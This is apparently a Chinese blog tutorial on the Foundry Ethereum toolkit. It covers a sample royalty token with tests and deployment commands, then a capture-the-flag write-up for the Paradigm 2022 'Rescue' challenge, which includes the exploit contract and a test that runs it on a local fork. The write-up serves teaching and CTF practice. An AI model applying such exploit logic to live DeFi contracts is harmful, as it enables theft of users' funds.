Foundry入门以及实战部署

说明

Foundary的Github地址:foundry

安装方法

安装方法参考官方说明:

  1. curl -L https://foundry.paradigm.xyz | bash 下载得到foundryup
  2. foundryup 安装 foundry

组件说明

Foundry由三个不同的命令行工具(CLI)组成,包括forge,cast,和anvil。

cast

Cast是一个CLI工具,用于对兼容以太坊虚拟机(EVM)的区块链进行RPC调用。使用cast,我们可以进行合约调用,查询数据,并处理编码和解码。cast有很多的子命令,参考cast-commands

执行合约不发出交易,就使用call子命令。

1
cast call 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 "balanceOf(address)(uint256)" contract_address --rpc-url rpc_url

含义:0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2WETH的地址,上面的命令表示查询contract_addressWETH余额。

1
cast balance contract_address --rpc-url rpc_url

含义:查看某个合约下的eth

1
cast send -rpc-url rpc_url --private-key private_key solve_contract_address --value 20ether

含义:向某个合约转账20eth

Forge

Forge是一个CLI工具,用于构建、测试、模糊测试、部署和验证Solidity合约,更多的指令参考forge-command

1
forge init test_forge

含义:创建一个test_forge的项目

1
forge install Rari-Capital/solmate@v6

含义:装由Rari-Capital拥有的solmate软件库,特别是v6。注意,@v6是可选的,如果没有指定版本,forge将安装最新版本。

1
forge test

含义:测试合约

Anvil

用于运行本地EVM区块链

实战

创建合约

1
forge init my_token && cd my_token

创建一个名为my_token的项目,进入该项目。
安装一个名为solmate的库,该库包含了一些常用的合约库。forge install Rari-Capital/solmate --no-commit
默认情况下,forge会创建一个名为contracts的文件夹,用于存放合约代码。在contracts文件夹下创建一个名为RoyaltyToken.sol的文件,写入如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pragma solidity ^0.8.13;

import { ERC20 } from "solmate/tokens/ERC20.sol";

contract RoyaltyToken is ERC20 {

address public royaltyAddress;
uint256 public royaltyFeePercentage;

constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _royaltyFeePercentage,
uint256 _initialSupply
) ERC20(_name, _symbol, _decimals) {
royaltyAddress = msg.sender;
royaltyFeePercentage = _royaltyFeePercentage;
_mint(msg.sender, _initialSupply);
}

function transferWithRoyalty (address to, uint256 amount) public returns (bool) {
uint256 royaltyAmount = amount * royaltyFeePercentage / 100;

transfer(royaltyAddress, royaltyAmount);

transfer(to, amount - royaltyAmount);

return true;
}

function transfer(address to, uint256 amount) public virtual override returns (bool) {
uint256 royaltyAmount = amount * royaltyFeePercentage / 100;

balanceOf[msg.sender] -= amount;

// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount - royaltyAmount;
balanceOf[royaltyAddress] += royaltyAmount;
}
//transfer to the royalty address
emit Transfer(msg.sender, royaltyAddress, royaltyAmount);
//transfer to the original address
emit Transfer(msg.sender, to, amount - royaltyAmount);

return true;
}
}

编译合约

1
forge build

测试合约

一般情况下,测试代码都是放在test目录下,以.t.sol表示是一个测试文件。创建一个名为test/RoyaltyToken.t.sol的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.8.13;

import {RoyaltyToken} from "src//RoyaltyToken.sol";

import "forge-std/Test.sol";

contract RoyaltyTokenTest is Test {
RoyaltyToken public token;
uint256 public royaltyFeePercentage = 2;
uint256 public initialSupply = 10 ** 4;


function setUp() public {
token = new RoyaltyToken("RoyaltyToken", "ROYT", 18, royaltyFeePercentage, initialSupply);
}

function testTransfer() public {
address alice = address(1);
address bob = address(2);

token.transfer(alice, 1000);

assertEq(token.balanceOf(alice), 980);
assertEq(token.balanceOf(address(this)), 9020);

hoax(alice);
token.transfer(bob, 100);

assertEq(token.balanceOf(alice), 880);
assertEq(token.balanceOf(bob), 98);
assertEq(token.balanceOf(address(this)), 9022);
}
}

通过forge test -vvv查看编译结果;

  1. setUp(),表示创建一个合约,所有的测试必须包含这个方法;
  2. assertEq(),断言;
  3. hoax(),表示创建一个地址,该地址有一些ether,用于测试转账,下一次的合约调用将会使用这个地址。

部署合约

1
forge create src/RoyaltyToken.sol:RoyaltyToken --private-key=$PRIV_KEY --constructor-args arg0 arg1 arg2

如果合约没有构造函数,可以不用--constructor-args参数。--private-key参数是用于部署合约的私钥,--constructor-args参数是用于构造函数的参数。

调用合约的方法

1
2
cast call $CON_ADDRESS "name():(string)"
cast send --private-key $PRIV_KEY $CON_ADDRESS "mint(uint256)" 1

部署到链上

1
2
3
4
forge verify-contract \
--chain $CHAIN_ID \
--compiler-version $COMPILER_VERSION \
$CON_ADDRESS src/RoyaltyToken.sol:RoyaltyToken $ETHERSCAN_API_KEY

实战Rescue

本章节以paradigm 2022 ctf中的resuce题目作为例子,演示如何实际部署一个项目。

fork链上环境

1
anvil --fork-url=rpc_url  

成功运行执行之后,就会输出10个可供测试的帐号,每个帐号里存在1000eth

部署rescue合约

1
2
mkdir rescue-fundry
forget init resuce && cd rescue

将原来rescue中合约的sol文件全部复制到rescue-fundry/rescue/src目录下,然后执行forge build编译合约。此时的目录结构如下:

1
2
3
4
rescue/src
├── MasterChefHelper.sol
├── Setup.sol
└── UniswapV2Like.sol

代码复制完毕之后,使用如下的代码部署合约到本地:

1
forge create src/Setup.sol:Setup --private-key=need_private_key --value 10ether --rpc-url=http://127.0.0.1:8545 --forc

部署合约时需要输入need_private_key。可以通过第一步中的anvil --fork-url=rpc_url选择一个即可,成功v部署之后,会输出合约地址,如下:

1
2
3
4
Compiler run successful
Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Deployed to: 0x0c626FC4A447b01554518550e30600136864640B
Transaction hash: 0x202045feb352263da70d68193e74bde56640259de0c73e66b53a1b7e85819e30
  • Deployer,表示我们部署合约使用的账户地址
  • Deployed to,表示合约地址
  • Transaction hash,表示合约部署的交易hash

编写利用合约

src目录下,创建Exploit.sol文件,编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "./Setup.sol";

contract Exploiter {
Setup setup = Setup(need_to_fill_in);
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

receive() external payable {}

function rescue() public {
MasterChefHelper helper = setup.mcHelper();
UniswapV2RouterLike router = helper.router();
WETH9(weth).deposit{ value: address(this).balance }();
WETH9(weth).approve(address(router), WETH9(weth).balanceOf(address(this)));
address[] memory path = new address[](2);
path[0] = weth;
path[1] = usdt;
router.swapExactTokensForTokens(
11 * (10**18),
0,
path,
address(this),
block.timestamp
);


ERC20Like(usdt).transfer(address(helper), ERC20Like(usdt).balanceOf(address(this)));

path[0] = weth;
path[1] = dai;
router.swapExactTokensForTokens(
1 * (10**18),
0,
path,
address(this),
block.timestamp
);


ERC20Like(dai).approve(address(helper), ERC20Like(dai).balanceOf(address(this)));
helper.swapTokenForPoolToken(0, dai, ERC20Like(dai).balanceOf(address(this)), 0);
}
}

Setup setup = Setup(need_to_fill_in);,需要将need_to_fill_in替换为setup合约地址,如上面部署合约时输出的Deployed to地址。
编写好了利用合约之后,需要创建一个Rescue.t.sol文件,用于创建我们的运行环境和调用利用合约,编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Setup.sol";
import "../src/Exploiter.sol";

contract RescueTest is Test {
Setup setup = Setup(need_to_fill_in);
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

function testRescue() public {
vm.createSelectFork("http://127.0.0.1:8545");
Exploiter exp = new Exploiter();
vm.deal(address(exp), 11 ether);
exp.rescue();
console2.log(setup.isSolved());
}
}
  • import "../src/Exploiter.sol";,导入我们编写的利用合约
  • Setup setup = Setup(need_to_fill_in);,需要将need_to_fill_in替换为setup合约地址,如上面部署合约时输出的Deployed to地址。
  • vm.createSelectFork("http://127.0.0.1:8545");,设置我们的运行环境,这里我们使用的是本地环境,就是之前我们启动的anvil
  • vm.deal(address(exp), 11 ether);,表示向Exploiter转入11个以太币
  • exp.rescue2(),调用我们的利用合约的方法
  • console2.log(setup.isSolved());,调用setup合约的isSolved方法,判断是否成功利用

最终测试方法成功执行,我们就可以成功利用了,console2.log(setup.isSolved());输出的结果为true,表示我们成功利用了。

参考

  1. https://learnblockchain.cn/article/3972
  2. https://learnblockchain.cn/article/4524
  3. https://www.youtube.com/watch?v=VhaP9kYvlOA
文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2022/09/11/foundry-intro/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow